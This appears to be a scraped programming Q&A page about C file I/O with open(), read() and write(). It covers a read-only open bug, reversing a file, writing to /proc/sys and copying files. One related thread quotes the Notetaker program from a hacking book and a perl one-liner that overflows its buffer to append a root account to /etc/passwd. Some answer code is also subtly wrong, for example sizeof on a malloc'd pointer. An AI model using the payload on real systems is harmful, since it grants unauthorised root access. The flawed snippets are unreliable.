C Write() Error in Mac - c

I'm trying to write characters in a text file on my Macbook Air, but it seems not to be working.
I tried compiling both via Xcode and Terminal.
But the results are same:
File Descripter: 3
write() Error!
Here is the code.
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
void Error_handling(char* message);
int main() {
int fd;
char buf[] = "Let's go! \n";
fd = open("data.txt", O_CREAT|O_RDONLY|O_TRUNC);
if (fd == -1)
Error_handling("open() Error! \n");
printf("File Descripter: %d \n", fd);
if(write(fd, buf, sizeof(buf))==-1)
Error_handling("write() Error! \n");
close(fd);
return 0;
}
void Error_handling(char* message)
{
fputs(message, stderr);
exit(1);
}

You open file with O_RDONLY and then try to write, of course it reports error.
And as comments suggested the right open variant should be:
fd = open("data.txt", O_CREAT|O_WRONLY|O_TRUNC, 0600);

Your file is opened in read only mode, which naturally prevents you from writing to it.
fd = open("data.txt", O_CREAT|O_RDONLY|O_TRUNC);
// ^ <- Your problem is here
Fix it by using
fd = open("data.txt", O_CREAT|O_WRONLY|O_TRUNC, S_IWRITE);

Related

Output is in Chinese? Output problems

Terrible coder here, this program I'm trying is to take user input and return it reversed in a new file. the kicker is using system calls (which I have just been exposed to). I am having trouble with my outputs. May someone please point out the error?
#include <fcntl.h>
#include <stdio.h>
#include "apue.h"
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int main(){
int fd1;
int fd2;
int offset;
char readc;
char filename[125];
printf("Please enter the file you wish to reverse: ");
scanf("%s", &filename);
fd1 = open(filename, O_RDONLY);
printf("open succesfully! File has been reversed and in a new file\n");
if (fd1 < 0) { perror("Error! Can't open file\n"); exit(1); }
//create a new file
fd2 = open("ReversedFile.txt", O_RDWR | O_CREAT, 0644);
if(fd2 < 0){ perror("Error! Can't open file"); exit(1); }
offset = lseek(fd1, 0, SEEK_END);
while(offset > 0){
read(fd1, &readc, 1);
write(fd2, &readc, 1);
lseek(fd1, -2, SEEK_CUR);
offset--;
}
close(fd1);
close(fd2);
return 0;
}
My first output where foo.txt contained exclamation points (which are invalid i discovered) is:
\00World Hello
!gnidoc ta kcus I
if this is readable i am correct
My second output however without exclamation point is:
圀牯摬䠠汥潬朊楮潤⁣慴欠畣⁳੉晩琠楨⁳獩爠慥慤汢⁥⁩浡挠牯敲瑣
Why is this happening?
lseek(fd1, 0, SEEK_END) sets the file pointer at the end of the file. Then you try to read one byte which fails precisely because you are already at the end of the file and you don't check if read fails. If you had checked that, you would have found out that read returns 0 (meaning nothing has been read). Then you write the garbage value which is still in readc to the output file.
You want this:
offset = lseek(fd1, -1, SEEK_END); // seek to end of file -1 char
while (offset >= 0) {
int bytesread =read(fd1, &readc, 1);
if (bytesread == 0)
{
perror("something went wrong with read\n");
exit(1);
}
write(fd2, &readc, 1);
lseek(fd1, -2, SEEK_CUR);
offset--;
}

Example of using sysctl() call in C on Linux

I've read some of the warnings against using the sysctl() call in C, and it seems if I cannot use sysctl() safely, the only other way I can find to make the needed change would be to use soemething like:
system("echo fs.inotify.max_user_watches=NEW_MAX_DIRECTORIES >> /etc/sysctl.conf");
system("sysctl -p");
(of course, this assumes ensuring the binary is running as root. However, I would rather NOT have to shell out using system calls.
Can someone point me in the correct and safe of using sysctl()?
here is a snippet of the code I am using.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <getopt.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <errno.h>
int main ()
{
int ret;
const char *LOGNAME="iNotifyMonitor";
logger(INFO, "================================================");
ret = startDaemon();
daemonRunning = ret;
if (ret == 0)
{
daemonRunning = 1;
FIRST_RUN = 0;
}
if(ret)
{
syslog(LOG_USER | LOG_ERR, "Error starting iNotifyMonitor");
logger(ERR, "Unable to start iNotifyMonitor");
closelog();
return EXIT_FAILURE;
}
signal(SIGINT, signalHandler);
signal(SIGHUP, signalHandler);
char *log_file_name = malloc(sizeof(char *) * sizeof(char *));
sprintf(log_file_name, "%s%s", INM_LOG_DIR, INM_LOG_FILE);
/* Try to open log file to this daemon */
if (INM_OPEN_LOG && INM_LOG_FILE)
{
log_stream = fopen(concatString(INM_LOG_DIR, INM_LOG_FILE), "a+");
if (log_stream == NULL)
{
char *errMsg;
sprintf(errMsg, "Cannot open log file %s, error: %s", concatString(INM_LOG_DIR, INM_LOG_FILE), strerror(errno));
log_stream = stdout;
}
}
else
{
log_stream = stdout;
}
while (daemonRunning == 1)
{
if (ret < 0)
{
logger(LOG_ERR, "Can not write to log stream: %s, error: %s", (log_stream == stdout) ? "stdout" : log_file_name, strerror(errno));
break;
}
ret = fflush(log_stream);
if (ret != 0)
{
logger(LOG_ERR, "Can not fflush() log stream: %s, error: %s",
(log_stream == stdout) ? "stdout" : log_file_name, strerror(errno));
break;
}
int curcount =countDirectory("/home/darrinw/Development/CrossRoads/");
directoryCount = curcount;
if(directoryCounrt > INM_MAX_DIRECTORIES)
{
int newVal = roundUp(directoryCount, 32768);
// call to sysctl() to modify fs.inotify.max_users_watches=newVal
}
sleep(INM_SCAN_INTERVAL);
}
My understanding is that the modern recommended approach to access sysctl variables is via the pseudo-files in /proc/sys. So just open /proc/sys/fs/inotify/max_user_watches and write there.
int fd = open("/proc/sys/fs/inotify/max_user_watches", O_WRONLY);
dprintf(fd, "%d", NEW_MAX_DIRECTORIES);
close(fd);
Error checking left as an exercise.
Modifying /etc/sysctl.conf would make the setting persist across reboots (assuming your distribution uses the file this way, I am not sure if all of them do). That's kind of rude to do automatically; probably better to use the documentation to advise the system administrator to do it themselves if it's needed.

C - Declare a file in function parameters

so here is my problem :
int isopen()
{
int fd;
fd = open("myfile", O_RDONLY);
if (fd == 0)
printf("file opening error");
if (fd > 0)
printf("file opening success");
return(0);
}
int main(void)
{
isopen();
return(0);
}
Is use this code to check if this the open command worked, as i'm just starting to lurn how to use it.
Basically this code is working just fine, but I would like to declare the file I would like to open directly in the parameters of my function isopen.
I saw some other posts using main's argc and argv, but I really need to declare my file in the parameters of my function isopen, not using argc & argv.
Is it even possible ?
Thank you for your help, I'm quite lost here.
Your question is unclear, but maybe you want this:
int isopen(const char *filename)
{
int fd;
fd = open(filename, O_RDONLY);
if (fd < 0) //BTW <<<<<<<<<<<< fd < 0 here !!
printf("file opening error");
else // else here
printf("file opening success");
return(0);
}
int main(void)
{
isopen("myfile");
return(0);
}
BTW, the isopen function as it stands here is still pretty useless as it just opens the file and throwing away fd.
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int isOpen(char *filename)
{
return open(filename, O_RDONLY);
}
int main()
{
printf("%d\n", isOpen("/home/viswesn/file1.txt"));
printf("%d\n", isOpen("file2.txt"));
return 0;
}
Output
viswesn#viswesn:~$ cat /home/viswesn/file1.txt
hello
viswesn#viswesn:~$
viswesn#viswesn:~$ cat /home/viswesn/file2.txt
cat: /home/viswesn/file2.txt: No such file or directory
viswesn#viswesn:~$
viswesn#viswesn:~$ ./a.out
3 <---------- File exist and it give file descriptor number '3'
STDIN-0, STDOUT-1, STDERR-2 are reserved and
next file opened will start with 3 and it keeps going
-1 <--------- File not found; so open gives -1 as error

Issue with the Notetaker exploit

This problem deals with an exploit on page 155 of the book Hacking: The art of exploitation. Here, the Notetaker program is used to append an entry with root privileges onto the /etc/passwd file.
The code for Notetaker.c goes like this:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"
void usage(char *prog_name, char *filename) {
printf("Usage: %s <data to add to %s>\n", prog_name, filename);
exit(0);
}
void fatal(char *); // a function for fatal errors
void *ec_malloc(unsigned int); // an errorchecked malloc() wrapper
int main(int argc, char *argv[]) {
int userid, fd; // file descriptor
char *buffer, *datafile;
buffer = (char *) ec_malloc(100);
datafile = (char *) ec_malloc(20);
strcpy(datafile, "/var/notes");
if(argc < 2) // If there aren't commandline arguments
usage(argv[0], datafile); // display usage message and exit
strcpy(buffer, argv[1]); // copy into buffer
printf("[DEBUG] buffer # %p: \'%s\'\n", buffer, buffer);
printf("[DEBUG] datafile # %p: \'%s\'\n", datafile, datafile);
// Opening the file
fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
if(fd == -1)
fatal("in main() while opening file");
printf("[DEBUG] file descriptor is %d\n", fd);
userid = getuid(); // get the real user ID
// Writing data
if(write(fd, &userid, 4) == -1) // write user ID before note data
fatal("in main() while writing userid to file");
write(fd, "\n", 1); // terminate line
if(write(fd, buffer, strlen(buffer)) == -1) // write note
fatal("in main() while writing buffer to file");
write(fd, "\n", 1); // terminate line
// Closing file
if(close(fd) == -1)
fatal("in main() while closing file");
printf("Note has been saved.\n");
free(buffer);
free(datafile);
}
A soft link is created to /bin/bash thru /tmp/etc/passwd
"password" is given as a default password with salt XX--XXq2wKiyI43A2
And User ID is given as 0- to get root privileges.
The exploit goes as below:
$ ./notetaker $(perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x68 .
":/root:/tmp/etc/passwd"')
When I try this, all I get is a fatal error while opening the file saying permission is denied.
It seems to work just fine in the book since $tail /etc/passwd shows the new entry thru this exploit which gives a root access.
Pls help.
You need to read chapter two. It shows you changing the owner to root via chown and chmod u+s. page 93.

How to write a file with C in Linux?

I want to rewrite the "cp" command of Linux. So this program will work like #./a.out originalfile copiedfile. I can open the file, create new file but can't write the new file. Nothing is written. What could be the reason?
The current C code is:
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
int main(int argc,char *aa[]){
int fd,fd1;
char buffer[100];
if(argc!=3){
printf("Usage : ./a.out <original> <copy> \n");
return -1;
}
fd=open(aa[1],O_RDONLY,S_IRUSR);
if(fd==-1){
printf("file not found.\n");
return -1;
}
fd1=open(aa[2],O_CREAT | O_WRONLY,S_IRUSR);
if(fd1!=-1){
printf("file is created.\n");
}
ssize_t n;
while(n=read(fd,buffer,50)){
write(fd1,buffer,n);
printf("..writing..\n");
}
close(fd);
close(fd1);
}
You need to write() the read() data into the new file:
ssize_t nrd;
int fd;
int fd1;
fd = open(aa[1], O_RDONLY);
fd1 = open(aa[2], O_CREAT | O_WRONLY, S_IRUSR | S_IWUSR);
while (nrd = read(fd,buffer,50)) {
write(fd1,buffer,nrd);
}
close(fd);
close(fd1);
Update: added the proper opens...
Btw, the O_CREAT can be OR'd (O_CREAT | O_WRONLY). You are actually opening too many file handles. Just do the open once.
First of all, the code you wrote isn't portable, even if you get it to work. Why use OS-specific functions when there is a perfectly platform-independent way of doing it? Here's a version that uses just a single header file and is portable to any platform that implements the C standard library.
#include <stdio.h>
int main(int argc, char **argv)
{
FILE* sourceFile;
FILE* destFile;
char buf[50];
int numBytes;
if(argc!=3)
{
printf("Usage: fcopy source destination\n");
return 1;
}
sourceFile = fopen(argv[1], "rb");
destFile = fopen(argv[2], "wb");
if(sourceFile==NULL)
{
printf("Could not open source file\n");
return 2;
}
if(destFile==NULL)
{
printf("Could not open destination file\n");
return 3;
}
while(numBytes=fread(buf, 1, 50, sourceFile))
{
fwrite(buf, 1, numBytes, destFile);
}
fclose(sourceFile);
fclose(destFile);
return 0;
}
EDIT: The glibc reference has this to say:
In general, you should stick with
using streams rather than file
descriptors, unless there is some
specific operation you want to do that
can only be done on a file descriptor.
If you are a beginning programmer and
aren't sure what functions to use, we
suggest that you concentrate on the
formatted input functions (see
Formatted Input) and formatted output
functions (see Formatted Output).
If you are concerned about portability
of your programs to systems other than
GNU, you should also be aware that
file descriptors are not as portable
as streams. You can expect any system
running ISO C to support streams, but
non-GNU systems may not support file
descriptors at all, or may only
implement a subset of the GNU
functions that operate on file
descriptors. Most of the file
descriptor functions in the GNU
library are included in the POSIX.1
standard, however.
You have to do write in the same loop as read.
You have to allocate the buffer with mallock, and give the read write the pointer to it.
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(){
ssize_t nrd;
int fd;
int fd1;
char* buffer = malloc(100*sizeof(char));
fd = open("bli.txt", O_RDONLY);
fd1 = open("bla.txt", O_CREAT | O_WRONLY, S_IRUSR | S_IWUSR);
while (nrd = read(fd,buffer,sizeof(buffer))) {
write(fd1,buffer,nrd);
}
close(fd);
close(fd1);
free(buffer);
return 0;
}
Make sure that the rad file exists and contains something.
It's not perfect but it works.

Resources